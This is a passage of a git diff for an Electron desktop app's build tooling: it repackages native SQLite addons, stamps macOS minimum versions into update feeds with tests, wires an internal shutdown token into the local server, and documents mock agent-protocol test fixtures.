from "./excluded-server-packages.mjs"; + const projectRoot = process.cwd(); const serverRoot = path.join(projectRoot, "desktop", "dist", "server"); @@ -91,9 +96,11 @@ async function pruneDirectory(dirPath) { const isServerRootEntry = dirPath === serverRoot; if (entry.isDirectory()) { + const packageName = getNodeModulesPackageName(dirPath, entry.name); if ( (isServerRootEntry && PRUNE_ROOT_ENTRIES.has(entry.name)) || - shouldPruneDir(entry.name) + shouldPruneDir(entry.name) || + (packageName !== null && isExcludedServerPackage(packageName)) ) { await rm(fullPath, { force: true, recursive: true }); removedCount++; diff --git a/scripts/desktop/rebuild-standalone-native.mjs b/scripts/desktop/rebuild-standalone-native.mjs index 25faf4bb..4005eb2d 100644 --- a/scripts/desktop/rebuild-standalone-native.mjs +++ b/scripts/desktop/rebuild-standalone-native.mjs @@ -1,25 +1,17 @@ import { existsSync, readFileSync } from "node:fs"; -import { cp, mkdir, readFile, rm, writeFile } from "node:fs/promises"; +import { cp, readFile, readdir, rm, writeFile } from "node:fs/promises"; import { spawn } from "node:child_process"; import path from "node:path"; +import { getElectronExecutablePath } from "./electron-binary.mjs"; + const projectRoot = process.cwd(); const targetRoot = path.join(projectRoot, "desktop", "dist", "server"); const targetPackagePath = path.join(targetRoot, "package.json"); -const electronGypDir = path.join(projectRoot, ".electron-gyp"); -const nodeGypCliPath = path.join( - projectRoot, - "node_modules", - "node-gyp", - "bin", - "node-gyp.js", -); -const prebuildInstallCliPath = path.join( - projectRoot, - "node_modules", - "prebuild-install", - "bin.js", -); +// better-sqlite3 13+ is an N-API addon that bundles a prebuilt binary for every +// supported target, so the packaged copy keeps the target's prebuild and drops +// the sources instead of being rebuilt against Electron's headers. +const BETTER_SQLITE3_BUILD_ENTRIES = ["binding.gyp", "build", "deps", "src"]; function getArgValue(flag) { const index = process.argv.indexOf(flag); @@ -42,54 +34,13 @@ function normalizeTargetPlatform(platform) { } } -function normalizeTargetArch(arch) { - if (arch === "arm") { - return "armv7l"; - } - - return arch; -} - -function getElectronExecutablePath() { - switch (process.platform) { - case "darwin": - return path.join( - projectRoot, - "node_modules", - "electron", - "dist", - "Electron.app", - "Contents", - "MacOS", - "Electron", - ); - case "win32": - return path.join( - projectRoot, - "node_modules", - "electron", - "dist", - "electron.exe", - ); - default: - return path.join( - projectRoot, - "node_modules", - "electron", - "dist", - "electron", - ); - } -} - -const electronBin = getElectronExecutablePath(); -const hostArch = normalizeTargetArch(process.arch); +const electronBin = getElectronExecutablePath(projectRoot); const targetPlatform = normalizeTargetPlatform(getArgValue("--platform") ?? process.platform) ?? process.platform; -const targetArch = normalizeTargetArch(getArgValue("--arch") ?? hostArch); +const targetArch = getArgValue("--arch") ?? process.arch; const isHostTarget = - targetPlatform === process.platform && targetArch === hostArch; + targetPlatform === process.platform && targetArch === process.arch; function run(command, args, options = {}) { return new Promise((resolve, reject) => { @@ -179,78 +130,54 @@ async function syncModuleDirectory(packageName) { await cp(sourcePath, targetPath, { recursive: true }); } -async function runNodeCli(cliPath, args, options = {}) { - if (!existsSync(cliPath)) { - throw new Error(`Expected CLI entrypoint at ${cliPath}.`); - } - - await runWithEnv(process.execPath, [cliPath, ...args], options); +// sqlite-vec 0.1.9 finds its loadable extension through a dynamic +// require.resolve that Next's output tracing cannot follow, so the target's +// platform package is copied into the packaged server explicitly. +function getSqliteVecPlatformPackage() { + const os = targetPlatform === "win32" ? "windows" : targetPlatform; + return `sqlite-vec-${os}-${targetArch}`; } -async function rebuildBetterSqlite3(options) { - const moduleRoot = path.join(targetRoot, "node_modules", "better-sqlite3"); - const electronVersion = getInstalledVersion("electron"); - const sharedEnv = { - npm_config_arch: targetArch, - npm_config_platform: targetPlatform, - npm_config_devdir: electronGypDir, - npm_config_disturl: "https://electronjs.org/headers", - npm_config_runtime: "electron", - npm_config_target: electronVersion, - npm_config_target_arch: targetArch, - npm_config_target_platform: targetPlatform, - npm_config_update_binary: "true", - }; - - if (!options.isHostTarget) { - try { - await runNodeCli(prebuildInstallCliPath, [], { - cwd: moduleRoot, - env: sharedEnv, - }); +async function syncSqliteVecPlatformPackage() { + const packageName = getSqliteVecPlatformPackage(); - return; - } catch (error) { - console.warn( - `[desktop] prebuild-install failed for better-sqlite3, falling back to node-gyp: ${ - error instanceof Error ? error.message : String(error) - }`, - ); - } + if (existsSync(path.join(projectRoot, "node_modules", packageName))) { + await syncModuleDirectory(packageName); + return true; } - await runNodeCli(nodeGypCliPath, ["rebuild", "--release"], { - cwd: moduleRoot, - env: { - ...sharedEnv, - ...(options.isHostTarget ? { npm_config_build_from_source: "true" } : {}), - }, - }); + const message = `${packageName} is not installed, so the packaged server cannot load sqlite-vec for ${targetPlatform}-${targetArch}.`; + if (isHostTarget) { + throw new Error(`[desktop] ${message}`); + } + + console.warn(`[desktop] ${message}`); + return false; } async function pruneBetterSqlite3Runtime() { const moduleRoot = path.join(targetRoot, "node_modules", "better-sqlite3"); - const compiledBinaryPath = path.join( - moduleRoot, - "build", - "Release", - "better_sqlite3.node", - ); - const stagedBinaryPath = path.join(targetRoot, "better_sqlite3.node"); + const prebuildsPath = path.join(moduleRoot, "prebuilds"); + const targetPrebuild = `${targetPlatform}-${targetArch}.node`; - if (!existsSync(compiledBinaryPath)) { + if (!existsSync(path.join(prebuildsPath, targetPrebuild))) { throw new Error( - `Expected rebuilt better-sqlite3 binary at ${compiledBinaryPath}.`, + `better-sqlite3 ${getInstalledVersion("better-sqlite3")} ships no prebuilt binary for ${targetPlatform}-${targetArch} (expected prebuilds/${targetPrebuild}).`, ); } - await cp(compiledBinaryPath, stagedBinaryPath); - await rm(path.join(moduleRoot, "build"), { force: true, recursive: true }); - await rm(path.join(moduleRoot, "deps"), { force: true, recursive: true }); - await rm(path.join(moduleRoot, "src"), { force: true, recursive: true }); - await mkdir(path.join(moduleRoot, "build", "Release"), { recursive: true }); - await cp(stagedBinaryPath, compiledBinaryPath); - await rm(stagedBinaryPath, { force: true, recursive: true }); + for (const entry of BETTER_SQLITE3_BUILD_ENTRIES) { + await rm(path.join(moduleRoot, entry), { force: true, recursive: true }); + } + + for (const entry of await readdir(prebuildsPath)) { + if (entry !== targetPrebuild) { + await rm(path.join(prebuildsPath, entry), { + force: true, + recursive: true, + }); + } + } } const rootPackageJson = JSON.parse( @@ -273,13 +200,15 @@ const runtimeDependencies = ["better-sqlite3", "sqlite-vec"].reduce( if (Object.keys(runtimeDependencies).length === 0) { console.warn( - "[desktop] no standalone native dependencies were found to rebuild.", + "[desktop] no standalone native dependencies were found to package.", ); process.exit(0); } -await mkdir(electronGypDir, { recursive: true }); await syncModuleDirectory("better-sqlite3"); +const hasSqliteVec = + Boolean(runtimeDependencies["sqlite-vec"]) && + (await syncSqliteVecPlatformPackage()); const runtimePackageJson = { name: `${rootPackageJson.name}-desktop-runtime`, @@ -288,9 +217,6 @@ const runtimePackageJson = { packageManager: rootPackageJson.packageManager, type: rootPackageJson.type ?? "module", dependencies: runtimeDependencies, - devDependencies: { - electron: getInstalledVersion("electron"), - }, }; await writeFile( @@ -298,14 +224,25 @@ await writeFile( `${JSON.stringify(runtimePackageJson, null, 2)}\n`, ); -await rebuildBetterSqlite3({ isHostTarget }); +await pruneBetterSqlite3Runtime(); if (isHostTarget) { await runWithEnv( electronBin, [ "-e", - "const Database=require('better-sqlite3'); const db=new Database(':memory:'); console.log(db.prepare('select 1 as value').get().value); db.close();", + [ + "const Database=require('better-sqlite3');", + "const db=new Database(':memory:');", + "console.log('better-sqlite3 select 1 =', db.prepare('select 1 as value').get().value);", + ...(hasSqliteVec + ? [ + "require('sqlite-vec').load(db);", + "console.log('sqlite-vec', db.prepare('select vec_version() as version').get().version);", + ] + : []), + "db.close();", + ].join(" "), ], { cwd: targetRoot, @@ -316,8 +253,6 @@ if (isHostTarget) { ); } else { console.log( - `[desktop] skipping better-sqlite3 runtime verification for cross-target ${targetPlatform}-${targetArch}`, + `[desktop] skipping better-sqlite3 and sqlite-vec runtime verification for cross-target ${targetPlatform}-${targetArch}`, ); } - -await pruneBetterSqlite3Runtime(); diff --git a/scripts/desktop/server-external-packages.mjs b/scripts/desktop/server-external-packages.mjs new file mode 100644 index 00000000..c3bb5d5d --- /dev/null +++ b/scripts/desktop/server-external-packages.mjs @@ -0,0 +1,13 @@ +// Packages next.config.js keeps out of the server bundle +// (`serverExternalPackages`). Next loads them from node_modules at runtime and +// output tracing copies them into the standalone server, so the bundle audit +// checks that each one shipped. +// better-sqlite3, sqlite-vec: native addons. +// @anthropic-ai/claude-agent-sdk: a prebuilt ESM bundle that locates its +// native CLI relative to its own file (import.meta.url); it runs from its +// package directory instead of being re-bundled. +export const SERVER_EXTERNAL_PACKAGES = [ + "better-sqlite3", + "sqlite-vec", + "@anthropic-ai/claude-agent-sdk", +]; diff --git a/scripts/desktop/server-manager.mjs b/scripts/desktop/server-manager.mjs index 70b893c6..6f74d474 100644 --- a/scripts/desktop/server-manager.mjs +++ b/scripts/desktop/server-manager.mjs @@ -1,6 +1,11 @@ import { execFileSync, spawn } from "node:child_process"; import path from "node:path"; +import { + createInternalToken, + INTERNAL_TOKEN_ENV_KEY, + requestAgentShutdown, +} from "./agent-shutdown.mjs"; import { APP_HOST, APP_PORT, APP_URL } from "./constants.mjs"; import { loadRuntimeEnv } from "./service-manager.mjs"; @@ -143,6 +148,7 @@ export async function startLocalServer(runtimePaths) { await killProcessOnPort(APP_PORT); const env = await loadRuntimeEnv(runtimePaths); + const internalToken = createInternalToken(); const runtimeCommand = getPackagedServerRuntimeCommand(); const child = spawn( runtimeCommand.command, @@ -158,6 +164,7 @@ export async function startLocalServer(runtimePaths) { HOSTNAME: APP_HOST, NODE_ENV: "production", PORT: String(APP_PORT), + [INTERNAL_TOKEN_ENV_KEY]: internalToken, }, stdio: "pipe", }, @@ -191,6 +198,7 @@ export async function startLocalServer(runtimePaths) { } return { + internalToken, process: child, url: APP_URL, }; @@ -202,6 +210,7 @@ export async function stopLocalServer(serverState) { } const child = serverState.process; + await requestAgentShutdown(serverState); await new Promise((resolve) => { let exited = false; diff --git a/scripts/desktop/untraced-server-packages.mjs b/scripts/desktop/untraced-server-packages.mjs new file mode 100644 index 00000000..9e63628d --- /dev/null +++ b/scripts/desktop/untraced-server-packages.mjs @@ -0,0 +1,15 @@ +// Packages the Next server loads through a require that file tracing cannot +// follow, so `output: "standalone"` would leave them out of the packaged +// server. next.config.js adds them to outputFileTracingIncludes and the bundle +// audit checks that they shipped. +// undici: @ai-sdk/provider-utils (>= 4.0.45) loads it on Node with +// module.createRequire()("undici") for the DNS-pinned download +// fetch, so server chunks resolve it from the top-level node_modules. +export const UNTRACED_SERVER_PACKAGES = ["undici"]; + +// The server-side packages that load each untraced package at runtime. The +// shipped top-level copy only has to satisfy these; build tooling such as +// node-gyp or @electron/get may depend on other majors (bun nests those). +export const UNTRACED_SERVER_PACKAGE_LOADERS = { + undici: ["@ai-sdk/provider-utils"], +}; diff --git a/scripts/desktop/untraced-server-packages.test.ts b/scripts/desktop/untraced-server-packages.test.ts new file mode 100644 index 00000000..90bc9920 --- /dev/null +++ b/scripts/desktop/untraced-server-packages.test.ts @@ -0,0 +1,96 @@ +import { describe, expect, it } from "bun:test"; +import { glob, readFile } from "node:fs/promises"; +import path from "node:path"; + +import { + UNTRACED_SERVER_PACKAGE_LOADERS, + UNTRACED_SERVER_PACKAGES, +} from "./untraced-server-packages.mjs"; + +// The repo declares bun modules by hand (src/types), not Bun's globals. +declare const Bun: { + semver: { satisfies(version: string, range: string): boolean }; +}; + +const projectRoot = process.cwd(); + +type PackageJson = { + dependencies?: Record; + name?: string; + optionalDependencies?: Record; + version: string; +}; + +async function readPackageJson(packageJsonPath: string) { + return JSON.parse(await readFile(packageJsonPath, "utf8")) as PackageJson; +} + +// Top-level and once-nested installs; bun does not nest deeper here. +const INSTALLED_PACKAGE_GLOBS = [ + "node_modules/*/package.json", + "node_modules/@*/*/package.json", + "node_modules/*/node_modules/*/package.json", + "node_modules/*/node_modules/@*/*/package.json", + "node_modules/@*/*/node_modules/*/package.json", + "node_modules/@*/*/node_modules/@*/*/package.json", +]; + +async function findInstalledDependents( + packageName: string, + loaderNames: readonly string[], +) { + const dependents: Array<{ path: string; range: string }> = []; + + for await (const file of glob(INSTALLED_PACKAGE_GLOBS, { + cwd: projectRoot, + })) { + const packageJson = await readPackageJson(path.join(projectRoot, file)); + if (!packageJson.name || !loaderNames.includes(packageJson.name)) continue; + const range = + packageJson.dependencies?.[packageName] ?? + packageJson.optionalDependencies?.[packageName]; + if (range) dependents.push({ path: file, range }); + } + + return dependents; +} + +describe("untraced server packages", () => { + it("adds every package to the standalone trace", async () => { + process.env.SKIP_ENV_VALIDATION = "1"; + const { default: config } = await import("../../next.config.js"); + + expect(config.output).toBe("standalone"); + expect(config.outputFileTracingIncludes?.["/**"]).toEqual( + UNTRACED_SERVER_PACKAGES.map( + (packageName) => `./node_modules/${packageName}/**/*`, + ), + ); + }); + + // Bundled server chunks resolve these packages from the top-level + // node_modules, not from next to the package that requires them, so the + // top-level copy has to satisfy every installed copy of each runtime loader. + it("ships a top-level copy that satisfies every runtime loader", async () => { + for (const packageName of UNTRACED_SERVER_PACKAGES) { + const { version } = await readPackageJson( + path.join(projectRoot, "node_modules", packageName, "package.json"), + ); + const loaderNames = + UNTRACED_SERVER_PACKAGE_LOADERS[ + packageName as keyof typeof UNTRACED_SERVER_PACKAGE_LOADERS + ] ?? []; + const dependents = await findInstalledDependents( + packageName, + loaderNames, + ); + + expect(dependents.length).toBeGreaterThan(0); + expect( + dependents.filter( + (dependent) => !Bun.semver.satisfies(version, dependent.range), + ), + ).toEqual([]); + } + }); +}); diff --git a/scripts/desktop/update-feed.mjs b/scripts/desktop/update-feed.mjs new file mode 100644 index 00000000..8256729e --- /dev/null +++ b/scripts/desktop/update-feed.mjs @@ -0,0 +1,185 @@ +// electron-updater skips an update whose feed lists a minimumSystemVersion +// above os.release(), the Darwin kernel version. electron-builder only writes +// the macOS floor into Info.plist, so without this step a Mac below the floor +// downloads a build it cannot open. +import { readdir, readFile, writeFile } from "node:fs/promises"; +import path from "node:path"; + +// Darwin kernel version of each macOS release's first build. Only whole-major +// floors are mapped; minor releases do not follow a fixed kernel offset. +const DARWIN_VERSION_BY_MACOS_MAJOR = new Map([ + [12, "21.0.0"], + [13, "22.0.0"], + [14, "23.0.0"], + [15, "24.0.0"], +]); +const MINIMUM_SYSTEM_VERSION_LINE = /^minimumSystemVersion:.*$/m; + +/** + * @param {string} macosVersion LSMinimumSystemVersion, for example `13.0`. + */ +export function darwinVersionForMacOS(macosVersion) { + const match = /^(\d+)(?:\.0){0,2}$/.exec(String(macosVersion).trim()); + const darwinVersion = match + ? DARWIN_VERSION_BY_MACOS_MAJOR.get(Number(match[1])) + : undefined; + + if (!darwinVersion) { + throw new Error( + `No Darwin kernel version is mapped for a macOS ${macosVersion} floor; add it to DARWIN_VERSION_BY_MACOS_MAJOR in scripts/desktop/update-feed.mjs.`, + ); + } + + return darwinVersion; +} + +/** + * @param {string} infoPlist XML Info.plist contents. + */ +export function readMacMinimumSystemVersion(infoPlist) { + const match = + /LSMinimumSystemVersion<\/key>\s*([^<]+)<\/string>/.exec( + infoPlist, + ); + return match?.[1]?.trim() ?? null; +} + +/** + * @param {string} feed update feed YAML, for example `latest-mac.yml`. + */ +export function readFeedMinimumSystemVersion(feed) { + const match = /^minimumSystemVersion:\s*['"]?([^'"\s]+)['"]?\s*$/m.exec(feed); + return match?.[1] ?? null; +} + +/** + * @param {string} feed + * @param {string} darwinVersion + */ +export function setFeedMinimumSystemVersion(feed, darwinVersion) { + const line = `minimumSystemVersion: ${darwinVersion}`; + + if (MINIMUM_SYSTEM_VERSION_LINE.test(feed)) { + return feed.replace(MINIMUM_SYSTEM_VERSION_LINE, line); + } + + return `${feed.trimEnd()}\n${line}\n`; +} + +/** + * @param {{ + * feeds: { file: string; content: string }[]; + * macosVersion: string; + * }} input + */ +export function findMacUpdateFeedIssues({ feeds, macosVersion }) { + if (feeds.length === 0) { + return ["no macOS update feed (*-mac.yml) was written"]; + } + + const expected = darwinVersionForMacOS(macosVersion); + + return feeds.flatMap(({ content, file }) => { + const actual = readFeedMinimumSystemVersion(content); + return actual === expected + ? [] + : [ + `${file}: minimumSystemVersion is ${actual ?? "missing"}, expected ${expected} (macOS ${macosVersion})`, + ]; + }); +} + +/** + * @param {string} distRoot + */ +export async function readMacUpdateFeeds(distRoot) { + const entries = await readdir(distRoot, { withFileTypes: true }); + const files = entries + .filter((entry) => entry.isFile() && entry.name.endsWith("-mac.yml")) + .map((entry) => path.join(distRoot, entry.name)) + .sort(); + + return Promise.all( + files.map(async (file) => ({ + content: await readFile(file, "utf8"), + file, + })), + ); +} + +/** + * @param {string} appPath packaged `.app` bundle. + */ +export async function readAppMinimumSystemVersion(appPath) { + const infoPlistPath = path.join(appPath, "Contents", "Info.plist"); + const macosVersion = readMacMinimumSystemVersion( + await readFile(infoPlistPath, "utf8"), + ); + + if (!macosVersion) { + throw new Error(`${infoPlistPath} has no LSMinimumSystemVersion.`); + } + + return macosVersion; +} + +/** + * electron-builder writes `.app` bundles to `dist/mac`, `dist/mac-arm64` or + * `dist/mac-universal`. + * + * @param {string} distRoot + */ +export async function findMacAppBundles(distRoot) { + const appPaths = []; + + for (const entry of await readdir(distRoot, { withFileTypes: true })) { + if (!entry.isDirectory() || !entry.name.startsWith("mac")) continue; + + const bundleRoot = path.join(distRoot, entry.name); + for (const child of await readdir(bundleRoot, { withFileTypes: true })) { + if (child.isDirectory() && child.name.endsWith(".app")) { + appPaths.push(path.join(bundleRoot, child.name)); + } + } + } + + return appPaths.sort(); +} + +/** + * Copies the packaged app's macOS floor into every macOS update feed. + * + * @param {{ appPaths: string[]; distRoot: string }} input + */ +export async function stampMacUpdateFeeds({ appPaths, distRoot }) { + const macosVersions = [ + ...new Set(await Promise.all(appPaths.map(readAppMinimumSystemVersion))), + ]; + const [macosVersion] = macosVersions; + + if (!macosVersion || macosVersions.length !== 1) { + throw new Error( + `Expected one LSMinimumSystemVersion across ${appPaths.length} app bundle(s), found: ${macosVersions.join(", ") || "none"}.`, + ); + } + + const darwinVersion = darwinVersionForMacOS(macosVersion); + const feeds = await readMacUpdateFeeds(distRoot); + + if (feeds.length === 0) { + throw new Error(`electron-builder wrote no *-mac.yml feed in ${distRoot}.`); + } + + for (const { content, file } of feeds) { + await writeFile( + file, + setFeedMinimumSystemVersion(content, darwinVersion), + "utf8", + ); + console.log( + `[desktop] ${path.basename(file)}: minimumSystemVersion ${darwinVersion} (macOS ${macosVersion})`, + ); + } + + return { darwinVersion, macosVersion }; +} diff --git a/scripts/desktop/update-feed.test.ts b/scripts/desktop/update-feed.test.ts new file mode 100644 index 00000000..49f333c2 --- /dev/null +++ b/scripts/desktop/update-feed.test.ts @@ -0,0 +1,182 @@ +import { afterEach, describe, expect, it } from "bun:test"; +import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { createRequire } from "node:module"; +import os from "node:os"; +import path from "node:path"; + +import { + darwinVersionForMacOS, + findMacAppBundles, + findMacUpdateFeedIssues, + readFeedMinimumSystemVersion, + readMacMinimumSystemVersion, + setFeedMinimumSystemVersion, + stampMacUpdateFeeds, +} from "./update-feed.mjs"; + +// Parse and compare with the same packages electron-updater uses for its +// minimumSystemVersion check (AppUpdater.checkIfUpdateSupported). +const updaterRequire = createRequire( + createRequire(import.meta.url).resolve("electron-updater"), +); +const yaml = updaterRequire("js-yaml") as { load: (text: string) => unknown }; +const semver = updaterRequire("semver") as { + lt: (left: string, right: string) => boolean; +}; + +const FEED = `version: 0.0.67 +files: + - url: Sentinel-0.0.67-arm64.zip + sha512: abc== + size: 158940534 + - url: Sentinel-0.0.67-arm64.dmg + sha512: def== + size: 162744907 +path: Sentinel-0.0.67-arm64.zip +sha512: abc== +releaseDate: '2026-10-07T10:06:48.300Z' +`; + +const INFO_PLIST = ` + + + CFBundleName + Sentinel + LSMinimumSystemVersion + 13.0 + + +`; + +const tempRoots: string[] = []; + +afterEach(async () => { + await Promise.all( + tempRoots + .splice(0) + .map((root) => rm(root, { force: true, recursive: true })), + ); +}); + +describe("darwinVersionForMacOS", () => { + it("maps whole-major macOS floors to their first Darwin kernel", () => { + expect(darwinVersionForMacOS("13.0")).toBe("22.0.0"); + expect(darwinVersionForMacOS("13")).toBe("22.0.0"); + expect(darwinVersionForMacOS("14.0.0")).toBe("23.0.0"); + }); + + it("refuses floors it cannot map exactly", () => { + expect(() => darwinVersionForMacOS("13.3")).toThrow( + "DARWIN_VERSION_BY_MACOS_MAJOR", + ); + expect(() => darwinVersionForMacOS("27.0")).toThrow( + "DARWIN_VERSION_BY_MACOS_MAJOR", + ); + }); +}); + +describe("update feed minimumSystemVersion", () => { + it("reads LSMinimumSystemVersion from an XML Info.plist", () => { + expect(readMacMinimumSystemVersion(INFO_PLIST)).toBe("13.0"); + expect(readMacMinimumSystemVersion("")).toBeNull(); + }); + + it("adds the field once and replaces it on later runs", () => { + const stamped = setFeedMinimumSystemVersion(FEED, "22.0.0"); + expect(stamped).toBe(`${FEED}minimumSystemVersion: 22.0.0\n`); + expect(setFeedMinimumSystemVersion(stamped, "22.0.0")).toBe(stamped); + expect( + readFeedMinimumSystemVersion( + setFeedMinimumSystemVersion(stamped, "23.0.0"), + ), + ).toBe("23.0.0"); + }); + + it("stops electron-updater on macOS 12 and lets macOS 13 through", () => { + const info = yaml.load(setFeedMinimumSystemVersion(FEED, "22.0.0")) as { + minimumSystemVersion: string; + version: string; + }; + + expect(info.version).toBe("0.0.67"); + expect(info.minimumSystemVersion).toBe("22.0.0"); + // os.release() on macOS 12.7 and 13.0. + expect(semver.lt("21.6.0", info.minimumSystemVersion)).toBe(true); + expect(semver.lt("22.1.0", info.minimumSystemVersion)).toBe(false); + }); + + it("reports feeds that are missing or disagree with the app floor", () => { + expect( + findMacUpdateFeedIssues({ feeds: [], macosVersion: "13.0" }), + ).toEqual(["no macOS update feed (*-mac.yml) was written"]); + expect( + findMacUpdateFeedIssues({ + feeds: [ + { content: FEED, file: "latest-mac.yml" }, + { + content: setFeedMinimumSystemVersion(FEED, "21.0.0"), + file: "beta-mac.yml", + }, + { + content: setFeedMinimumSystemVersion(FEED, "22.0.0"), + file: "alpha-mac.yml", + }, + ], + macosVersion: "13.0", + }), + ).toEqual([ + "latest-mac.yml: minimumSystemVersion is missing, expected 22.0.0 (macOS 13.0)", + "beta-mac.yml: minimumSystemVersion is 21.0.0, expected 22.0.0 (macOS 13.0)", + ]); + }); +}); + +describe("stampMacUpdateFeeds", () => { + it("copies the packaged app floor into the dist feeds", async () => { + const distRoot = await mkdtemp(path.join(os.tmpdir(), "update-feed-")); + tempRoots.push(distRoot); + const contentsPath = path.join( + distRoot, + "mac-arm64", + "Sentinel.app", + "Contents", + ); + await mkdir(contentsPath, { recursive: true }); + await writeFile(path.join(contentsPath, "Info.plist"), INFO_PLIST); + await writeFile(path.join(distRoot, "latest-mac.yml"), FEED); + await writeFile(path.join(distRoot, "latest-linux.yml"), FEED); + + const appPaths = await findMacAppBundles(distRoot); + expect(appPaths).toEqual([ + path.join(distRoot, "mac-arm64", "Sentinel.app"), + ]); + + await expect(stampMacUpdateFeeds({ appPaths, distRoot })).resolves.toEqual({ + darwinVersion: "22.0.0", + macosVersion: "13.0", + }); + expect( + readFeedMinimumSystemVersion( + await readFile(path.join(distRoot, "latest-mac.yml"), "utf8"), + ), + ).toBe("22.0.0"); + expect( + await readFile(path.join(distRoot, "latest-linux.yml"), "utf8"), + ).toBe(FEED); + }); + + it("fails when electron-builder wrote no macOS feed", async () => { + const distRoot = await mkdtemp(path.join(os.tmpdir(), "update-feed-")); + tempRoots.push(distRoot); + const contentsPath = path.join(distRoot, "mac", "Sentinel.app", "Contents"); + await mkdir(contentsPath, { recursive: true }); + await writeFile(path.join(contentsPath, "Info.plist"), INFO_PLIST); + + await expect( + stampMacUpdateFeeds({ + appPaths: await findMacAppBundles(distRoot), + distRoot, + }), + ).rejects.toThrow("no *-mac.yml feed"); + }); +}); diff --git a/scripts/fixtures/agents/README.md b/scripts/fixtures/agents/README.md new file mode 100644 index 00000000..8dae874f --- /dev/null +++ b/scripts/fixtures/agents/README.md @@ -0,0 +1,16 @@ +# Agent protocol fixtures + +Scriptable fakes of the agent wire protocols Sentinel's engines speak. Tests spawn them as child processes (or start the OpenCode fake in process) and drive them with the real client side, so framing, ordering and error paths are exercised byte for byte without a real agent or model. + +| Fixture | Protocol | Real counterpart | +| ------------------------------------------------- | ------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------- | +| [`acp/mock-agent.ts`](./acp/README.md) | ACP: JSON-RPC 2.0 over stdio NDJSON (`@agentclientprotocol/sdk` 1.7 `agent()`) | Cursor `agent acp`, Grok `grok agent stdio`, Antigravity `agy_acp_server`, ACP Registry agents (Devin, Mistral Vibe, …) | +| [`pi/mock-rpc.ts`](./pi/README.md) | Pi RPC: LF-delimited JSONL over stdio | `pi --mode rpc` (`@earendil-works/pi-coding-agent` 1.0.4) | +| [`opencode/fake-server.ts`](./opencode/README.md) | HTTP + SSE | `opencode serve` 1.x and 2.x | + +Conventions: + +- Fixtures and their helpers (`scenario.ts`, `test-harness.ts`, `test-driver.ts`, `profiles.ts`, `shared/`) are not `*.test.*` files, so `scripts/run-tests.mjs` never runs them as tests. Their self-tests (`*.test.ts` next to them) run in the normal suite. +- Each fixture reads a JSON scenario from an inline variable (`SENTINEL_ACP_MOCK_SCENARIO`, `SENTINEL_PI_MOCK_SCENARIO`, `SENTINEL_OPENCODE_FAKE_SCENARIO`) or the matching `…_SCENARIO_FILE`, and appends what it received to the JSONL file named by the matching `…_LOG`. The scenario types live in each `scenario.ts`. +- App code never references `scripts/fixtures/` (tripwire `fixtures-in-app-code`); engine tests and helpers under `__fixtures__/` or `__tests__/` may. +- Nothing here talks to a real agent, model or network service. Fault injection (stdout noise, stderr floods, split frames, crashes, hangs, slow methods) is part of every fixture. diff --git a/scripts/fixtures/agents/acp/README.md b/scripts/fixtures/agents/acp/README.md new file mode 100644 index 00000000..9bafbadf --- /dev/null +++ b/scripts/fixtures/agents/acp/README.md @@ -0,0 +1,317 @@ +# ACP mock agent + +`mock-agent.ts` is a scriptable [Agent Client Protocol](https://agentclientprotocol.com) agent for protocol tests. It is a real `@agentclientprotocol/sdk` 1.7 `agent()` app connected with `ndJsonStream` over its own stdin and stdout, so the bytes on the pipe are what a real ACP agent writes: one JSON-RPC 2.0 message per LF-terminated line. + +It is a fixture, not a test. The test runner only collects `*.test.*` files, and app code must never import it (tripwire `fixtures-in-app-code`). + +```sh +SENTINEL_ACP_MOCK_SCENARIO='{"prompts":[{"steps":[{"type":"text","text":"hi"}]}]}' \ +SENTINEL_ACP_MOCK_LOG=/tmp/acp.jsonl \ +bun scripts/fixtures/agents/acp/mock-agent.ts +``` + +| Variable | Meaning | +| --------------------------------- | ----------------------------------------------------------------- | +| `SENTINEL_ACP_MOCK_SCENARIO` | Scenario as inline JSON. Wins over the file variable. | +| `SENTINEL_ACP_MOCK_SCENARIO_FILE` | Path to a scenario JSON file. | +| `SENTINEL_ACP_MOCK_LOG` | Append every received frame to this JSONL file (see [Log](#log)). | + +No scenario means SDK defaults: protocol version 1, a mock `agentInfo`, every session capability, and one text chunk per prompt. A malformed scenario exits with code 2 and a message on stderr. + +The scenario type is `AcpMockScenario` in [`scenario.ts`](./scenario.ts); every field below is optional and the sections compose. + +## Drive it from a test + +[`test-harness.ts`](./test-harness.ts) spawns the mock and connects the SDK's `client()` builder through a byte-level `ndJsonStream` on the child's stdio, never the in-memory app pair (which would skip the framing these fixtures exist to exercise; design critique G10). + +```ts +// From src/lib/ai/chat/engines/acp/.test.ts: +import { startAcpHarness } from "../../../../../../scripts/fixtures/agents/acp/test-harness"; + +const harness = startAcpHarness(scenario, { + requestPermission: () => ({ + outcome: { outcome: "selected", optionId: "allow-once" }, + }), + extRequests: { "cursor/ask_question": () => ({ answers: {} }) }, + extNotifications: ["_x.ai/session/prompt_complete"], +}); +await harness.initialize(); +const { sessionId } = await harness.newSession(); +await harness.prompt(sessionId, "go"); +await harness.settle(); // notifications can trail the prompt response +harness.updates; // every session/update the client SDK delivered +harness.calls; // every agent→client request and notification handled +harness.log(); // every frame the mock received +await harness.dispose(); +``` + +[`profiles.ts`](./profiles.ts) has starting scenarios that reproduce the recorded wire traits of Cursor, Grok Build, Antigravity and Devin. The Grok profile follows t3code's recordings of the released 1.0.41 CLI: `_x.ai/*` method names (`grokProfile({methodPrefix: ""})` for the canonical `x.ai/*` names), `_meta.modelState` with object-shaped `reasoningEfforts`, wrapped `{method, params}` question requests, `params._meta.promptId` on every turn frame, and `task-completed-*` background wake turns after the response. + +## `initialize` + +```json +{ + "initialize": { + "protocolVersion": 1, + "agentInfo": { "name": "grok", "version": "1.0.50" }, + "agentCapabilities": { + "loadSession": true, + "promptCapabilities": { + "image": true, + "audio": false, + "embeddedContext": true + }, + "mcpCapabilities": { "http": true, "sse": false }, + "sessionCapabilities": { + "list": {}, + "resume": {}, + "fork": {}, + "close": {}, + "delete": {} + }, + "auth": { "logout": {} } + }, + "authMethods": [ + { "id": "cursor_login", "name": "Cursor login" }, + { + "id": "tty", + "name": "Terminal login", + "type": "terminal", + "args": ["login"], + "env": { "MODE": "tty" } + }, + { + "id": "api-key", + "name": "API key", + "type": "env_var", + "vars": [{ "name": "XAI_API_KEY" }], + "link": "https://…" + } + ], + "meta": { "vendor": "x" }, + "echoMeta": true + } +} +``` + +- `protocolVersion` defaults to the SDK's `PROTOCOL_VERSION` (1). Antigravity answers 2 with a v1-shaped body. +- `versions` (default `[1]`) lists the protocol versions served. With 2 in 